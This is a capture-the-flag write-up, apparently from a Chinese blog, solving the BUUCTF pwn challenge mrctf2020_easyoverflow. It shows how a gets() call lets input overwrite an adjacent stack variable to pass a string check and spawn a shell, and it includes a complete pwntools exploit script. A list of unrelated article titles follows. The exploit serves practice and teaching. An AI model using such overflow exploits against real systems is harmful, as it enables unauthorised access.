[BUUCTF]PWN——mrctf2020_easyoverflow
2024-10-21 03:07:14
mrctf2020_easyoverflow
步骤:
- 例行检查,64位程序,保护全开
- 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开
只要满足18行的条件,就能够获取shell - check()
很简单的检查,就是判断一下v5是否等于n0t_r3@11y_f1@g
- 看main函数可以知道,v5一开始是
ju3t_@_f@k3_f1@g
,之后没有对v5的操作了,然后让我们输入v4,看一下v4和v5在栈上的位置,发现v5就在v4下方不远处
v4的输入是用的gets函数,我们可以在读入v4的时候将v5覆写成n0t_r3@11y_f1@g
从而获取shell
payload=‘a’*0x30+n0t_r3@11y_f1@g
完整exp
from pwn import *
r=remote("node3.buuoj.cn",25779)
payload='a'*0x30+"n0t_r3@11y_f1@g"
r.sendline(payload)
r.interactive()
最新文章
- 如何在latex 中插入EPS格式图片
- innobackupex使用实践
- FancyTree 状态保持
- 3.django笔记之form表单
- URAL 1002 Phone Numbers(KMP+最短路orDP)
- Android选项卡TabHost方式实现
- p类型最大可定义范围
- hibernate学习手记(2)
- Dockerfile 中的 CMD 与 ENTRYPOINT
- 比较两个Date类型的数据相差几年
- iOS 指纹解锁 验证TouchID
- react+typescript报错集锦<;持续更新>;
- python 用Threading创建多线程
- 【MongoDB:】稍微复杂的操作
- 第7讲 SPI和RAM IP核
- prometheus安装、使用
- BZOJ 3572: [Hnoi2014]世界树 虚树 树形dp
- C++Primer笔记-----day04
- CF527A:Playing with Paper——题解
- java学习网站推荐